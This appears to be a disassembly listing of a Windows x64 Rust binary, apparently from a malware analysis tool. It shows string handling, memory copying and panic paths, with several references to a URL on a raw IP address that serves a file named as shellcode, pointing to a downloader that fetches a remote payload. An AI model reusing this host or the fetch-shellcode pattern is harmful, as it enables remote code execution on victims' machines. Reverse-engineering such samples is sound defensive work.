mov qword [rsp + 0x58], r9
lea rax, [r9 + 1]
mov dl, byte [r9]
mov r8d, 1
test dl, dl
jns 0x1400074ab
cmp dl, 0xe0
jae 0x140007448
add r9, 2
cmp rax, r13
cmovne rax, r9
mov r8d, 2
jmp 0x1400074ab
cmp dl, 0xed
jne 0x140007479
cmp rax, r13
je 0x1400075ae
lea rax, [r9 + 2]
cmp rax, r13
je 0x1400075ae
cmp byte [r9 + 1], 0x9f
ja 0x1400074bf
add r9, 3
mov r8d, 3
mov rax, r9
jmp 0x1400074ab
add r9, 2
cmp rax, r13
cmove r9, rax
xor eax, eax
cmp r9, r13
setne al
add rax, r9
mov r8d, 3
cmp dl, 0xf0
jb 0x1400074ab
xor edx, edx
cmp rax, r13
setne dl
add rax, rdx
mov r8d, 4
add rsi, r8
mov r9, rax
cmp rax, r13
jne 0x14000741f
jmp 0x1400075ae
mov r8, rsi
sub r8, r12
jb 0x1400077a5
cmp rsi, r15
ja 0x1400077a0
mov rdx, qword [rsp + 0x118]
mov rax, rdx
sub rax, rbp
cmp rax, r8
jae 0x140007517
mov rcx, r10
mov rdx, rbp
mov r12, r8
call dbg.do_reserve_and_handle<u8, alloc::alloc::Global>
mov rbp, qword [rsp + 0x120]
mov rcx, qword [rsp + 0x110]
mov rax, qword [rsp + 0x118]
mov qword [rsp + 0x68], rax
mov r8, r12
jmp 0x14000751c
mov qword [rsp + 0x68], rdx
mov qword [rsp + 0x78], rcx
add rcx, rbp
mov rdx, qword [rsp + 0x58]
mov r12, r8
call sym.memcpy
add rbp, r12
mov qword [rsp + 0x120], rbp
mov rax, qword [rsp + 0x68]
sub rax, rbp
cmp rax, 2
ja 0x140007572
mov r8d, 3
lea rcx, [rsp + 0x110]
mov rdx, rbp
call dbg.do_reserve_and_handle<u8, alloc::alloc::Global>
mov rcx, qword [rsp + 0x110]
mov rbp, qword [rsp + 0x120]
jmp 0x140007577
mov rcx, qword [rsp + 0x78]
lea r10, [rsp + 0x110]
mov byte [rcx + rbp + 2], 0xbd
mov word [rcx + rbp], 0xbfef
add rbp, 3
mov qword [rsp + 0x120], rbp
add rsi, 3
mov r12, rsi
cmp rsi, r15
jbe 0x14000740a
jmp 0x14000778c
mov r12, r15
sub r15, r12
mov rax, qword [rsp + 0x118]
sub rax, rbp
cmp rax, r15
jae 0x1400075e4
lea rcx, [rsp + 0x110]
mov rdx, rbp
mov r8, r15
call dbg.do_reserve_and_handle<u8, alloc::alloc::Global>
mov rcx, qword [rsp + 0x110]
mov rbp, qword [rsp + 0x120]
add r12, rbx
add rcx, rbp
mov rdx, r12
mov r8, r15
call sym.memcpy
add rbp, r15
mov qword [rsp + 0x3b0], rbp
movups xmm0, xmmword [rsp + 0x110]
movaps xmmword [rsp + 0x3a0], xmm0
lea rbp, [rsp + 0x3a0]
jmp 0x1400063b7
lea r8, [rsp + 0x600]
mov qword [r8], r13
lea rax, str.srcmain.rshttps:__107.175.3.10_Users_shellcodeAny_20240207004718487.bin
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, sym.core::ptr::drop_in_place_std::io::error::Error_::h518c11c78a1d2112
jmp 0x14000767f
lea r8, [0x1400c3620]
mov rcx, rbp
mov rdx, r12
call dbg.slice_start_index_len_fail
ud2
mov dl, 1
lea r8, [rsp + 0x110]
mov byte [r8], dl
lea rax, str.srcmain.rshttps:__107.175.3.10_Users_shellcodeAny_20240207004718487.bin
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, sym.core::ptr::drop_in_place_bool_::h13504de7a345072c
mov edx, 0x2b
call dbg.unwrap_failed
ud2
cmp r9d, 0xa
setb dl
add dl, dl
or dl, 1
jmp 0x14000765a
ud2
mov rsi, qword [rsp + 0x3a8]
jmp 0x1400076d0
mov rsi, qword [rsp + 0x858]
jmp 0x1400076d0
mov rsi, qword [rsp + 0x3a8]
jmp 0x1400076c3
mov rsi, qword [rsp + 0x858]
lea rcx, [rsp + 0xb0]
call sym._ZN4core3ptr110drop_in_place_LT_std..collections..hash..map..HashMap_LT_alloc..string..String_C_alloc..string..String_GT__GT_1
lea r8, [rsp + 0x110]
mov qword [r8], rsi
lea rax, str.srcmain.rshttps:__107.175.3.10_Users_shellcodeAny_20240207004718487.bin
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, sym.core::ptr::drop_in_place_reqwest::error::Error_::h72cbade8563f4678
jmp 0x14000767f
xor edx, edx
jmp 0x14000765a
lea r8, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112library_std_srciomod.rs
mov edx, 0x20
call dbg.slice_end_index_len_fail
ud2
lea rcx, str.called__Option::unwrap____on_a__None__value
lea r8, str.srcmain.rshttps:__107.175.3.10_Users_shellcodeAny_20240207004718487.bin
mov edx, 0x2b
call dbg.panic
ud2
call sym.alloc::raw_vec::capacity_overflow::ha436ff5e70868f37
ud2
mov ecx, 1
mov rdx, rsi
call dbg.handle_alloc_error
ud2
mov ecx, 1
mov rdx, rsi
call dbg.handle_alloc_error
jmp 0x1400077b7
mov ecx, 8
mov edx, 0x30
call dbg.handle_alloc_error
jmp 0x1400077b7
mov ecx, 1
mov rdx, r15
jmp 0x14000773a
lea rax, str.library_std_src_sys_commonwtf8.rs
mov qword [rsp + 0x70], rax
mov rcx, r12
mov rdx, r15
mov r8, qword [rsp + 0x70]
call dbg.slice_end_index_len_fail
jmp 0x1400077b7
mov rsi, r12
lea r8, str.library_std_src_sys_commonwtf8.rs
mov rcx, rsi
mov rdx, r15
call dbg.slice_start_index_len_fail
jmp 0x1400077b7
mov r12, rsi
jmp 0x140007777
lea r8, str.library_std_src_sys_commonwtf8.rs
mov rcx, r12
mov rdx, rsi
call dbg.slice_index_order_fail
ud2